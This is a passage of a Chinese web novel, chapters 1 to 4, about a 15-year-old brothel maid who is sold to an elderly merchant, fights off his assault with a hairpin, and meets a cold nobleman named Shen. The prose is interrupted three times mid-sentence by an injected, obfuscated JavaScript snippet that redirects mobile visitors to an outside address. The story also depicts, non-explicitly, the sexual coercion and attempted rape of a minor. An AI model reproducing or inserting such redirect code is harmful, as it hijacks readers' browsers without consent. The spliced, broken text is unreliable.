《折辱的疯批回来了》 1. 第 1 章 寒冬腊月,白雪飘飘而落,坠上冰面,抬眼望去,白茫茫一片,天地都化作一张白纸。 一声骤响,湖岸边蹲着一人,正抬起榔头敲击冰面。敲击声渐渐减弱,只听咔嚓一声,冰面碎裂。 少女衣摆收拢好,小心翼翼地不被雪沾湿,随后将背篓里的衣裳拿出来,丢进方才砸开的冰窟里。 漂浮在水面的衣裳颜色鲜艳,上头绣着绚丽花纹,这样的衣裳,身为婢女的她是没有机会穿的。 她将衣袖往上提,皮肤一接触到空气,冷得发抖。 双手刚浸入水中,立刻冻得收回手,凑到唇边哈气。腕骨凸起,手一动便可见根根指骨。 动作缓缓停下,虞秋水望着茫茫白雪,眨了眨眼,低头洗衣裳。青玉楼的婢女若是没有完成交代的事,轻则扣了饭食,重则挨板子被关上三四日。 她们这些个不会琴棋书画又没有几分姿色的婢女,除了干这些杂活换取生存的机会,根本没有旁的路可以走。 冻得通红的手根本拧不干水,都快没有知觉。 她已经干习惯了,只是冬日寒冷,洗衣裳这种碰水的活尤为折磨人,生了冻疮是小事,手要是烂了,青玉楼的妈妈可不会给她治。 虞秋水拖着没法拧干的湿衣衫回去,刚走到门口,就听里头咒骂声。 “你现在是翅膀硬了,敢不听我的话,叫你去服侍崔老爷,你倒好,把人晾着,害得我被他指着骂。” 女子声音嘹亮,门虽紧闭,在外头依旧听得一清二楚。 虞秋水没有推开门,绕路走。说话的是柳妈妈,她这人脾气向来不好,至少虞秋水被卖进青玉楼的三年里,没见过柳妈妈对谁笑过。 就算是当初为青玉楼吸引来众多财主关顾的玉娘,柳妈妈也对她发过火。 至于为什么发火,虞秋水听婢女嚼舌根时说过,说是玉娘想从良,和一书生成婚,这事用脚想也知道柳妈妈不可能答应。 她可是指望玉娘揽客,怎么可能放摇钱树走,况且那书生穷,拿不出银两赎华娘,这事闹了几日,柳妈妈将那书生打断了腿,关了玉娘三五日,没过多久,玉娘郁郁而终。 后来青玉楼头牌变成了华娘,她就在华娘身边伺候。 虞秋水可不想在柳妈妈发火时进去,弄得不好,还要殃及到她。 脚踩在积雪上,一脚一个深印,推开小厨房的门,一进去,浑身顿时暖和。 烧火的小厮望见她,只看了一眼,低头继续塞柴火,灶台里噼里啪啦响,柳妈妈的声音被掩盖。 冬日里青玉楼生意不大好,还要养着一大群人,柳妈妈回回念叨要把没用的人都卖了,没人敢在她动怒时凑上去,巴不得缩起来,不被柳妈妈看见。 虞秋水一声不吭地晾了衣裳,缩在灶台边上汲取火焰燃烧的温度。 厅堂里声音低下来,不过一会,脚步声响起,越来越远。 虞秋水等了会,起身去厅堂。 今日冷得紧,青玉楼没有客人,厅堂空落落的,只听到小厮拨算盘珠子的声音。 绕过屏风,便见一红衣女子趴在桌上,身子隐隐颤抖。其余婢女小厮只当没看见方才发生的,杵着当木头人。 她将门关上,隔绝寒气,缓缓走过去,扶着女子起来,声音压低:“姑娘,回房吧。” 女子转头,狠狠瞪她,一甩手将她推开,声音凄厉:“回去?我还有哪里可回?我除了听柳妈妈的话伺候崔老爷,还能往哪去!” 她这一推加了怒气,力道不小,虞秋水被推得撞在地上,尾椎直疼。 一抬头便见她眼中泪珠一颗颗掉,尚是风华正茂的女子,此刻看不出一点朝气。 虞秋水捏紧了手,抿唇没有说话,撑着地面缓缓站起来。 崔老爷是凉州城最近几年起来的富商,年近五十依旧喜好寻花问柳,此人好折磨女子的名声在外,抬进府里的女子没过几日便没了踪影,谁也不想伺候他。 华娘止住骂,盯着她半晌,忽然几步走到她面前,捏着她下巴抬起来,双眼直直瞪着她的脸,拇指摩挲,擦去她脸上的灰,露出污渍下干净的脸。 十五岁的年纪细皮嫩肉的,日日被冻,手上生了冻疮,脸上倒是一点事都没有,红彤彤的脸瞧着真是嫩。 华娘掐住她脸颊一扯,力气不小,弄得虞秋水脸上生疼。 她一把甩开手,对着虞秋水冷嘲热讽。 “你以为你就不用伺候了?那些个脏东西最喜欢雏,我要是没了价值,你看柳妈妈会不会推你去伺候他们。” 虞秋水骤然抬眸望她,张了张口,想到什么,终是捂着脸没有说。 华娘又怎会看不出她那点心思,冷嗤一声,甩了衣袖上楼。 虞秋水没有跟着,回了小厨房,湿水洗干净脸,用木筷挑了猪油敷在脸上。 这张脸得保护好,别的地方可以受伤,独独脸不能。 待她抹完,一转身便对上灶台后小厮的眼,双眼阴沉沉地盯着她,她朝他一哼声,“看什么看。” 她走到灶台边,抹了锅灰,往脸上擦。 小厮依旧盯着她的脸看,半晌才开口:“前几日我听绿芽说,柳妈妈想让华娘教你怎么伺候客人。” 虞秋水白了脸。 方才被外头寒气冻得通红的脸,瞬间没了血色。柳妈妈要是真这么说,由不得她不愿。 “我先前说过的话还算数,你要是反悔了——” 不等他话说完,虞秋水推开门就走。 小厮盯着被砰的一声关上的门看了好一会,才移开目光。灶台里的火肆意舔舐锅底,他又添了几根柴进去,压得火焰抬不起头。 外头雪下大了,先前走回来踩的脚印已经被掩盖。 虞秋水捂着脸,推开厅堂的门,跺了跺脚,把门关上,径直上二楼去华娘房间。 门是关着的,走到门口,忽地没有勇气去问华娘小厮说的话是不是真的。柳妈妈若是真的那么想,她又怎么能躲得了呢。 她低着头,站在门口好一会,房间里头响起华娘唱小曲的声音,起先婉转动听,不过一会带上了哀怨。 虞秋水听着,心里更不是滋味。 她转头就要回睡好几个婢女的小房间,方转身,就听楼下小厮招呼声,声音很是惊喜。 “天寒地冻,公子快进来,喝口热茶。” 虞秋水探头望去,只见红漆木门那走进来身披白色大氅的男人,带着帷帽,看不清样貌,但瞧他浑身气质出尘,身份应是不一般。 又是个来花天酒地的。 她没多看,捂着脸低头下楼。 楼梯直接通往厅堂,为避免被叫去接待客人,虞秋水擦着楼梯边走,背对那人,脚步飞快。 “公子快喝茶。”小厮端来茶盏,眼一瞥,瞧见男人腰间刻有“沈”字的玉佩,看出那玉佩质地上乘,笑得谄媚,忙为他拉开椅子,“公子坐下歇歇?” 男人却并未坐下,少女匆匆离开的背影落入眼中,很快消失了踪影。 “我来此……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575927|187109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虞秋水拉开厅堂后门时,依稀听到一道温润如玉之声,来青玉楼的男人里,没几个声音比他好听。 但只听到前面几个字,人已经走出厅堂。 她回了小厨房,扒拉着橱柜,热了饭菜吃完,洗了碗筷回那逼仄的下人房。 本是要在华娘那守着,现下华娘该是不想看见她。 待晚些时候,虞秋水去了华娘房间,门关着,没有点灯,敲了几下,推开门进去。 顿时被里头浓重的熏香呛到,忙将窗柩掀开小小一角。点了烛灯一看,险些被吓着。 “姑娘,你还好罢?” 华娘抱着膝盖坐在床上,睁着红肿的眼,失神地望着她。 虞秋水心里一个咯噔,连忙去把门关上,若是被柳妈妈发现华娘眼睛哭肿了,不仅华娘会被责骂,她也会被罚。 走近床边正要想办法给华娘消肿时,华娘忽然攥住她的手,用力到指甲都要陷进她肉里。 她立刻往回抽,谁知华娘力气大得根本扯不开。 华娘魔怔了一般,拽着她,声音是她从未听过的哀求:“阿水,好阿水,你替了我吧,你替我去伺候崔老爷,你长得这般乖,又嫩,崔老爷定然会好好疼你的。” 虞秋水怔愣,反应过来抠着她的手,使劲摇头。 “我不行的,崔老爷喜欢的是你,我不行的,小姐,你别……” “害我”两个字被华娘的声音盖住。 眼前她服侍将近三年的女子,起先待她不算多好,但不会虐待她,后来华娘与那书生的事被柳妈妈知道后,华娘像是变了一个人,喜怒无常,动辄斥责她。 但她处境总比别的婢女好。 可她断然没有想到,华娘竟然想将她推出去。 “小姐,崔老爷在凉州城也算是数一数二的富商,你跟了他,不会比现在差。” 华娘忽然一把推开她,曾经秋水盈盈的眼,此刻只有冷意与讥讽。 “你当我真是在征求你的同意?柳妈妈已经答应崔老爷了,让你伺候他。” “虞秋水,你的好日子到头了。” 华娘的话宛如一棒重锤,砸在脑袋上,眼前一阵晕眩。 窗户分明只开了一角,虞秋水如坠冰窟,浑身发寒,那寒意比手浸泡在腊月寒冬的冰湖水还要重。 华娘不会说这种话唬她,柳妈妈定然是已经决定了要她去接待崔老爷。 那可是个将近五十的老头,青玉楼里的花魁宁愿接待身上无多少家财的青壮年,也不愿看脸上堆褶子、牙发黄的老头。 前些日子崔老爷瞧上了华娘,掷重金赶走华娘的恩客,点名叫她伺候。 华娘当然不愿,次次吊着他,每当他提出要行那事时,找借口推脱,一次两次没事,次数多了,崔老爷心生不满,直接找了柳妈妈。 柳妈妈承诺下次来,定叫华娘好好服侍他,他却唾弃道:“我要个黄脸婆伺候作甚。” 柳妈妈眼一看,便知他话里意思,试探道:“那奴家挑个嫩些的?” “我瞧着她身边那伺候的婢女姿色不错,都是青玉楼里的,能来伺候我,是她的福气。” 华娘早就看出崔老爷明里点她,实则是要她身边的婢女,当时心气高,不愿身边的婢女过得比自己好,吊着崔老爷哄他给自己金银珠宝,谁知这老头被色迷了心,非得要尝尝这雏的滋味。 后来便没了耐心应付,这才引得崔老爷不满。 “你啊,就要飞上枝头,变凤凰了。”华娘咯咯笑出来。 2. 第 2 章 以前她怕柳妈妈会让自己做那种耻辱的事,可柳妈妈只让她服侍华娘,未提过。 没想到还是躲不过去。 虞秋水只觉得这世上人心凉薄,有人能狠心丢弃自己的亲生儿女,有人能把活生生的人当成猫狗丢弃,亦有人能在涉及自身利益时直接翻脸。 也是,她与华娘本就没有多少感情,柳妈妈不可能大发善心养着她不让她接客。在青玉楼的,又有几个是良善之辈,怎会有真情。 惊慌的表情落到华娘眼中,一扫昨日堆积到今晨的郁气,煞有兴致地看着她脸一阵青一阵白,赤着脚下地,竟未觉得冰寒。 “别难过,那崔老爷家财万贯,他若是愿意为你赎身,赏你个妾位,不得比在这青玉楼当婢女伺候人快活?” 她把虞秋水方才对她说的话还了回去,见着她脸色更是难看,畅快笑出了声。 她不能好过,旁人也别想好过。 “伺候我更衣。” 虞秋水咬着唇,看着华娘半晌,没有动。 “还没被看上呢,就敢不听话了?” 虞秋水忍着心底的不适,走上前,伺候她穿衣。 从华娘那出来,她失了魂一般,双眼无神地回了下人房。 脱下外袍,蜷着身子缩在被褥里,尽量不让后背贴到墙上。她来的晚,只分到了最里头的位置,冬日的夜晚每每都要被冒进来的寒风冻醒。 忽地想起自己刚来青玉楼时,挣扎着要跑,一把火烧了小厨房,但没能跑得了。 柳妈妈当时也只是罚她三日不准吃饭,这事要是放在别人身上,定然是要挨几十板子的,她就这么被轻轻放过。 后来么,只要不是大错,柳妈妈也只是睁一只眼闭一只眼,有人说,柳妈妈这是把她当成宝,日后定是要培养她,替代华娘。 虞秋水可不想像华娘那样。 现在果然如他们所说,柳妈妈就是存了要她伺候人的心思。 下人房里没有炭火,她冷得直打颤。 虞秋水想起自己被卖进青玉楼前待的那户人家,买来她时说的好听,会把她当亲生女儿对待,没过几月怀上孩子,就将她卖了。 那时她是埋怨那对夫妻的,说出口的诺言说毁就毁,既然养不了她,干嘛要将她买回去? 虞秋水整个人埋进被褥里,蜷缩的身子像只猫,瘦削得背后脊骨凸起。 翌日一早她直奔柳妈妈屋子,走到一半脑中一个激灵,掉头去小厨房。 李四哥说了,只要她答应与他过日子,就带着她一起跑出青玉楼。现在她去跟他说,马上就走,立刻离开青玉楼。 虞秋水跑着跑着,视线逐渐模糊,不争气的泪这个时候掉出来,一点忙都帮不上。 她从三楼下来,穿过厅堂,打开后门,一脚刚踏入雪地,氤氲水雾的眼瞬间瞪大,宕机片刻,迈出去的腿缩了回去。 雪地里一身深红厚袄子的柳妈妈正朝她的方向走来,身后两个壮丁拖着一沉物,离得近了,虞秋水才看清那是李四哥。 她再次感受到了坠入冰窟的寒意。 风韵犹存的女子走近,抬眼上下扫视她,见她在哭,嘿呦一声,难得温柔地抬手给她擦泪。 这一擦,就着泪水把脸上灰抹了大半。 柳妈妈收了手,拿出帕子把手上污渍擦干净,再盯着她的脸看,满意点头。 小姑娘底子不错,哭起来像只受惊的小鹿,不吵也不闹,盈着泪的眼只看着你,任谁都会看得心软得一塌糊涂。 当初落到她手里时,便看出来她这样乖巧的容貌定然能满足那些有怪癖的男人。所以才一直藏着,没有早早叫她接客,更是默许了她在脸上抹灰扮丑。 三年过去,这凉州城有这般喜欢且权财都有的,也只有崔老爷一个,再不卖出去,老了,没人要,她岂非做了个亏本生意? “收拾收拾,晚上崔老爷来,你去接待他。” 柳妈妈越过她就走。 虞秋水盯着紧闭双眼嘴边挂血的李四哥,莫大的恐慌升起,下意识抓住柳妈妈的手,要说的话在柳妈妈瞥来那阴狠的一眼时,咽了回去。 柳妈妈抽出手,抬手摸她的头。也不知道虞秋水是不是被吓傻了,竟站着一动未动,由着她摸。 “乖孩子,妈妈这是为你好。” 虞秋水心里那一点希望,啪的一下,灭了。 柳妈妈转身进去,壮丁拖着李四哥掉头往后院外走,再往前,就是虞秋水经常洗衣裳的湖,厚厚一层冰,人掉在里头,谁都发现不了。 她忽然没了勇气去看,掉头就往外跑。 李四哥被发现了,柳妈妈打死了李四哥,没有人可以带她跑了。 现在能依靠的,只有自己。 穿过小厨房,刚跑出后院,前方冒出现两个壮汉,虎视眈眈地瞪着她。 虞秋水脚步停下,立即转身,就见着两个妈妈手里拎着粗绳,一步步逼近。 她站在雪地中,再一次感受到被那户人家卖到青玉楼时的绝望。 这样的绝望,她已经体会过无数次。 被推进昏暗的房间,门一关,落锁的声音传来,虞秋水立刻去扒门,门早已经被锁死了。 “小水啊,别想着跑,青玉楼养了你这么多年,是时候报答了。你若是跑了,崔老爷一个不高兴,叫人拆了青玉楼,你叫我们怎么活?” “崔老爷背后之人只手遮天,你我都惹不起。你乖乖的,把崔老爷伺候好了,还能过上好日子。” 虞秋水使劲一踹门,嘶吼出声:“我不稀罕!” 外头站着的俩妈妈嗤笑,摇了摇头,根本不理她,转身就走。 “还是年轻,不知外头有多险。” “待她在外头被欺负了,就知道青玉楼的好。” 两人说笑声传进来,针一般扎在虞秋水身上。这样的话不是没听过,青玉楼的妈妈教训不听话的花魁时,先是一顿罚,再说这类话哄骗她们。 虞秋水望着被锁死的门,想到崔老爷满身肥肉的样子,心中一阵恶寒。 她再次尝试拉门,只拉开了一道缝,根本出不去。转身环顾四周,看到对面紧闭的床,立刻跑过去,伸手一推,没推动。 低头一看,窗户被锁死了。 虞秋水眨了眨眼,低头看自己生了冻疮的手,忽然觉得双手很痒,痒得她想将生冻疮的肉挖出来,这样就不会再痒了。 她挪到门后,蹲下来,双手环抱膝盖,脸埋在膝盖里,身子颤抖。 外头忽降骤雪,越来越大。 柳妈妈提着衣裙,快步下楼,脚跺在楼梯板上,噔噔声从三楼响到一楼。走到厅堂,见着那头坐着的人,脸上堆起笑。 “崔老爷怎来得这般早,小姑娘还没收拾好呢,脏兮兮的,不好见人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你呢,今晚好好伺候崔老爷,眼一闭,一晚上就过去了,明日一醒,就当什么没发生过。” 婢女为她上完妆,就要脱她的衣裳,虞秋水紧紧抓住自己洗的发白的粗布麻衣,颤声说:“我自己来。” 婢女看着她,最终松了手。 “姑娘要是换好了,叫奴婢一声。” 婆子和婢女退出房间,在外头守着。这间屋子是她们特意准备的,窗户都封锁,她想跑,必须得从门那走。 虞秋水知道自己现在没有机会跑,灭了熏香,慢吞吞的褪下外裳,换上鲜艳的衣裳,指尖摩挲衣裳上绚丽花纹,想到华娘之前与自己说的那番话,抹了眼泪,回到铜镜前。 镜中少女唇红齿白,瘦削的脸上了妆,倒是有种脱离她这个年龄段的成熟之美。但细看便知年龄不大。 只因那双迷茫的眼,浑身还有股子未被风尘艳气浸染的稚气,想来崔老爷是看上了她身上这股稚嫩之气。 “姑娘,换好了吗?” 虞秋水刚要说好了,余光瞥见镜中自己头上的发簪,眸光一闪,扬声道:“好了。” 婢女进来,将她破旧的衣裳带走,把门关上,叫小厮看紧。 她独坐在窗台前,望着紧锁的窗户外飘落的雪,攥紧了手里的发簪。 3. 第 3 章 自打入了冬,青玉楼还是第一次这般热闹。 花魁们将最好看的衣裳换上,点上脂粉,身上熏香,靠在栏杆上往下看,对崔老爷口中的那位贵客好奇得紧。 要说这凉州城能让崔老爷费心招待的,只能是地位与刺史大人一般的人物,不过刺史大人是不会来这风尘之所,那就应是城外来的贵人。 若是能攀上他,说不定今后便能摆脱妓子身份,飞黄腾达,再也不用在青玉楼受气。 马车停在青玉楼门前,柳妈妈弓着身子迎上去,只见着崔老爷下来,并未见他口中的贵客,不由得问了一句。 崔老爷摆手,径直往里头走。 “那位正忙着,待会便来,你先准备好,可不能怠慢,他啊,身份可不一般。” 柳妈妈一听,心里有了底,知道今晚断然不能出岔子,立刻吩咐身边的婆子去安排,自己亲自接待崔老爷。 厅堂内舞姬起舞,音律婉转,崔老爷怀里抱着一个,搂着一个,还色眯眯地盯着领头的舞姬。 柳妈妈等了好一会,不见崔老爷口中的贵人来,不由得着急。她的目标是那位贵人,崔老爷再好,不过是一商贾,哪有身份尊贵的人有价值。 “您说的贵人……” 崔老爷一摆手,不耐烦道:“不是与你说了,他忙得很,要等会再来。” 柳妈妈赔笑,叫花魁们好生伺候,借口去看菜肴准备得如何了。 刚转身,冷了脸,心中冷嗤。莫不是他那贵人当幌子唬她,实际上是来占便宜的。 这一念头在门外响起的惊呼声中打消,柳妈妈扭头一看,见着崔老爷丢开怀里花魁,往外头走。 声音越来越响,她心头一喜,跟着迎上去。 楼下嘈杂声传到屋内,虞秋水听了会,握着发簪的手收紧,房门被敲响,她心一跳,听到婆子喊她开门。 她先前把门栓了,婆子进不来。 虞秋水本不想开门,婆子在外头威胁,再不开就把门卸了。深吸一口气,拉开门,倏地一声嘹亮嗓音,吸引了她的注意,转头看去。 “沈公子,您终于来了,我可是等你许久了。” 皑皑白雪飘进来,落上地面,化作水。 不止虞秋水一人在看,二楼的人齐齐盯着厅堂大门。 只见深色鞋履跨入,白色大氅映入眼帘,接着便是男人俊逸的容颜。 二楼抽气声此起彼伏,皆是为此人容颜惊愕。 虞秋水也不可幸免地看入了迷,青玉楼来过那么多人,她从未见过有像他这样的,气质出尘得与这里格格不入,给人一种他在此处多待一刻便会污了他的感觉。 男人长身玉立,手中握着伞柄,立在门前,漆黑的眼眸无一丝波动,缓缓扫视人群。 不知为何,先前还想凑上去的人,心思直接歇了,甚至后退几步,缩在人群里,不敢与他对视。 人群里忽然响起声音,将寂静打破。 “这位公子,昨日好似来过……” 崔老爷眼珠一转,朝男人笑:“沈公子你不厚道啊,背着我来青玉楼快活。” 男人并未搭理他,一抖手腕,伞身上积雪簌簌落下。 柳妈妈使了个眼色,小厮立刻会意,壮着胆子上前,“奴帮公子把伞——” “不必。”男人声音清冽得如冰锥相撞,小厮一哆嗦,退了回去。 柳妈妈上前,笑道:“公子快请进,外头冷,坐下来喝盏热茶,暖暖身子。” 她手一抬,身上脂粉味蔓延,男人侧了身子避开,微微蹙眉,屏息朝崔老爷道:“沈某还有要事在身,只是来坐坐,待会便走。” 崔老爷可不想他这么快就走,亲自上前将人往里头带,悄悄对柳妈妈说了句:“今晚定要留下他!” 柳妈妈立刻明白他的意思,叫人去喊华娘来。 婢女刚上楼,华娘已经梳好妆往楼下去,经过虞秋水时,打量她好几眼,啧啧一声,捏着帕子掩面,讥笑道:“不是不愿么,怎的换了衣衫,还打扮成这样?” 虞秋水深吸一口气,还没往外跑,就被婆子赶到房间里去,怕她再锁门,拆了门栓,随后砰的一声门关上。 动静有些大,引来楼下人的注意。 男人抬首,目光精准落在那扇紧闭的门上。 华娘只当看了场热闹,转身要下楼,一眼瞧见人群里最显眼的那位,笑容一转,妩媚多姿,扭着细腰下楼。 男人很快收回目光,柳妈妈端来茶水,他未去接,柳妈妈只好放在他面前,介绍起华娘来。 此时华娘恰巧走到,感受着周围嫉妒的目光,方要坐在他身侧,眼前闪过修长手指,一把伞占了她要坐的位置。 很明显感知到周围看过来的目光变了,华娘不甘心,还要尝试。 “公子……” 男人却直接向崔老爷道:“开宴吧。” 在这么多人面前被忽视,华娘脸挂不住,向柳妈妈求助,柳妈妈示意她先离开,自己留下看着。 看男人的眼神越发亮,连崔老爷都要敬此人几分,她若是能与此人沾上点关系,必然获利颇多。 接待得越发殷勤起来。 外头天色很快暗下,青玉楼内盏盏红灯明亮,已是许久未曾点过这么多盏灯。 酒味传进房间内,虞秋水无力地趴在桌上,连动的力气都没有。熏香有问题,尽管她熄灭了,还是不慎着了道。 现在唯一的办法,就是在崔老爷来时,找机会逃跑。 等了大半个时辰,门开了,柳妈妈的声音传来。 “小水,来,跟妈妈去见见崔老爷。” 虞秋水背对着她的身子僵硬,半晌没出声。她在想,现在冲过去伤了柳妈妈,有几成机会能跑。 最终她被婆子架着出了房间。 哐当一声,二楼走廊传来一声重响,楼下弹唱之声将其掩盖大半,鲜少有人听见。 端坐着未碰席上菜肴酒水的男人倏地抬首,望的正是那间房的方向。门开了,婢女走进去,并未有其余人出来。 男人收回视线,余光扫视自己左侧空了位置,神色不耐。 他该走了。 “真有劲,差点给你撞倒了。” 婆子勒着虞秋水腋下,拖着她走到转角,上三楼。 柳妈妈注意着楼下情况,催促道:“快些将她送进去,这两个一个都不能得罪,烦人得很。” 虞秋水被带进了三楼的包间,这里都是青玉楼的贵客才能来,隐蔽性极好。 两个婆子搭手将她抬到床上,给她整理了发髻,转身就走,还关了门。 隐约能听见楼下吵闹声,而这间房,安静得如牢狱。 虞秋水尝试挪动身体,恢复了些力气。幸亏她将熏香灭了,吸入的少,没被彻底迷倒。 不过一会,脚步声响起,越来越近,哐当一声,门被踹开,虞秋水只看到一块肉晃悠悠走进来,难闻的酒气瞬间涌入鼻中,刺激得她脑子清醒,连那迷香余劲都被驱散了些。 “小美人,我来疼你了。” 崔老爷关了门,被床上的人儿迷了眼,摇摇晃晃走过去。 虞秋水瞪大眼,挣扎着挪动身子,身体沉重,挪动的速度根本来不及躲开。 令她作呕的酒气刺鼻,好像被一块大石压着,身体与精神上的厌恶达到顶峰,用尽所有力气一把推开他。 以崔老爷的体格,是不会被推倒,可他喝了酒,站不稳,摇摇晃晃,撞到后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575929|187109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方落地花瓶上,人跟着花瓶一齐倒地。 响亮的器皿碎裂声传出,男人精准无误地捕捉到声音传出的方向。 华娘正要给男人敬酒,听到这声音,猜到是崔老爷在虞秋水那,急忙掩饰:“许是哪个毛手毛脚的摔了东西,公子不必理会。” 男人收回视线,转向她,黑漆的眸子看不出情绪,“是么。” 华娘莫名觉得自己在与一条阴湿的蛇说话,男人的眼神看得她发毛,思及自己来的目的,硬是扯出笑,“是的。” 她捧起酒樽递向男人,露出娇俏的笑,“公子,请。” 外头的热闹虞秋水一丁点都听不见,她刚爬下床,踉跄着往房门走去,崔老爷已经站起来,怒目圆睁,借着酒意冲上去,掐着她的脖颈往门上撞。 动静没有花瓶碎裂大,且柳妈妈刻意不让人靠近三楼,没人听得到里头的动静。 虞秋水扣着他的手,人醉了,力气却大得很,根本掰不开。 “贱蹄子,老子给你脸了,你敢推老子。” 崔老爷根本没意识到自己再掐下去,这个小姑娘就要被他掐死,失了心智般越来越用力,眼珠子猩红。 虞秋水呼吸不上来,脑子里只有一个念头,不能死,不能被他玷污。 她捏紧簪子,用尽全身力气,刺向他的手。 厅堂内男人站起身,所有人望去,婆子们出口挽留,他只握着伞,转身朝大门而去。 华娘急着想追上去,柳妈妈特地嘱咐过她,定要将这位公子拿下,就这么放他走了,别说柳妈妈会罚她,她自己也不甘心。 “公子……” 她的声音被三楼传来的凄厉叫声掩盖,辨别出声色后,差点咬碎了牙。 “滚,滚!” 声音歇斯底里,充满怒意,尾音发颤,陡然弱了下去,这声音一听便知情况不对。 “那是在教不听话的婢女,公子不必——” 华娘的声音再次被打断,男人回眸看她,再次说了同样的话,“是吗?” 她刚想说是,杀猪般的嚎叫响彻整个青玉楼,所有人齐齐朝三楼一角望去。 柳妈妈去了厨房催菜,现在能管事的都知崔老爷去干嘛了,那可不敢去管,纷纷愣在原地,不知该怎么办。 一群愣着的人里,一旦有人有所动作,便会变得尤为显眼。 男人竟然直接朝楼梯走去。 华娘心头一急,上前拦他,“这是青玉楼的私事,公子不便去管。” 男人只说了两个字:“让开。”浑身气势赫然冷冽骇人,华娘吓得一抖,让开了路。 婆子见情况不对,赶紧去找柳妈妈,叫小厮在他身后跟着,能拦一会是一会。 男人上了二楼,脚步未停,直奔三楼,青玉楼的人也不敢跟上去,只仰着头看。 只见男人停在尽头那间房,回廊支柱挡住一半视线,只能瞧见他的脚。 他在门前停了片刻,忽然抬脚。 门被踹开的瞬间,虞秋水下意识望过去,看到来人,瞬间瞪大了眼。 他一身白衣,一尘不染,站在那,如同谪仙。 男人扫视屋内一地狼藉,从她慌乱的神情略过,视线最终定格在她举起的发簪上,没有给崔老爷一丁点余光。 崔老爷根本不管有人进来,被酒麻痹得感觉不到手上的疼痛,拖着虞秋水的脚踝往身下拉,扯她的外裳。 “沈公子,您快些下去吧,这里有奴家来处理。” 柳妈妈的声音伴随着越来越近的脚步声,眼看崔老爷就要撕了她的外裳,虞秋水迅速朝男人发出求救。 “救——” 虞秋水的求救在看见男人转身关上门时,绝望地吞了回去。 4. 第 4 章 柳妈妈急急走到门口,亲眼见着男人关上门,心下一慌,焦急出声:“沈公子,这里由奴家来处理便好,您不必插手。” 虞秋水心狠狠一跳,被柳妈妈靠近的声音吓着,一时不察,衣裳差点被扯开。 她立刻回神,抬手抵着崔老爷,另一只手紧紧攥住发簪,身子竭尽全力往后挪,躲避这头猪恶心的触碰。 挣扎间望向门口站着的男人,抱有那么一丁点祈求的眼紧张得瞪大,脸上施了脂粉,此刻瞧着分外动人。 男人神情漠然,平静望着她,吐出一句话:“崔老爷邀请我来赴宴,他出事,我理应该帮他。” 虞秋水彻底断了所有求人帮自己摆脱的念头,男人果然没有一个好东西,恶心极了! 柳妈妈听了男人的话,本想再劝说,忽地想到这间房的用处,面上一喜,“那奴家就不打搅了,沈公子慢慢享用。” 她正转身要走,房间里扑通一声,像是有重物倒地,心下还是不放心,问了句:“可是有什么需要帮忙的?那丫头性子犟,怕是……” 冷声从里头传出:“不用。” “那奴家这便走了。”柳妈妈嘴里说着要走,实则在外头站着听里头的动静,待听到崔老爷不堪入耳的叫声时,笑容满面,边点头边离开。 被推开的崔老爷再次撞了上来,扯着她的衣裳,一个劲地哼哼,酒气熏天,满身肥肉,一眼看去,像是一头猪在拱。 虞秋水睁着蓄满泪的眼,脑海中闪过这一生经历的所有,这些年堆积的怨气直往上冲,脑子里只有一个念头。 既然都不想她好过,那就一起死。 虞秋水眼中哀求瞬间被决然取代,没有一丝犹豫,举起发簪,朝崔老爷脖颈刺去。 男人在她动手前发现了她转变的眼神,脚下一动,碎裂的瓷器碎片被他精准踢向虞秋水握着发簪的手,轻微的一声惊呼响起,发簪被击落。 血丝自手背缓缓显现,血逐渐蔓延。 少女僵着身子,看向阻止自己的男人。 崔老爷哼哼笑,醉得都不分不清进来的人是谁,以为是与他一样的嫖客,朝他招手,“来,这蹄子嫩得很呢。”他说着就要亲她。 虞秋水一巴掌甩他脸上,身子扑出去捡被男人打落的发簪。 “让我尝尝你的滋味——” 虞秋水一把攥住发簪,手背的伤口裂开,钻心地疼,可她顾不上,盯准崔老爷张开的嘴就要刺进去。 忽地一声闷哼,崔老爷两眼一闭,身子一歪,倒在地上,露出不知何时走过来的男人身影。 惊恐的眼眸倒映出男人的身影,瞧见他俯身跪在自己面前,视线齐平。 虞秋水在他眼里看到衣裳破碎的自己,狼狈的模样与他的整洁矜贵形成鲜明对比。 她一把扯出被崔老爷压住的衣裳,迅速拢紧,簪子对准他,身子往后缩。 然而后背已经抵上墙,退无可退。如果他要对自己做些什么,以他的身手,她根本没法反抗。 眼睫挂着泪,一颤一颤的,眼眸防备地盯着他,看起来可怜极了。 沈琢就这么看着她破碎的模样,目光被她捂着胸口衣裳的手吸引,方才被他划破的手背此刻鲜血直流,沿着手背滑到手腕,她似感觉不到痛一般,五指曲起,使得伤口裂痕更大。 他抬手,啪的一声被她一把拍开,力道不轻。 “别碰我!” 沈琢垂眸,望着被打回来的手,余光瞥见自己跪下的双腿,身子一震,立刻起身。看向蜷缩的少女时,眼里已经带了杀意。 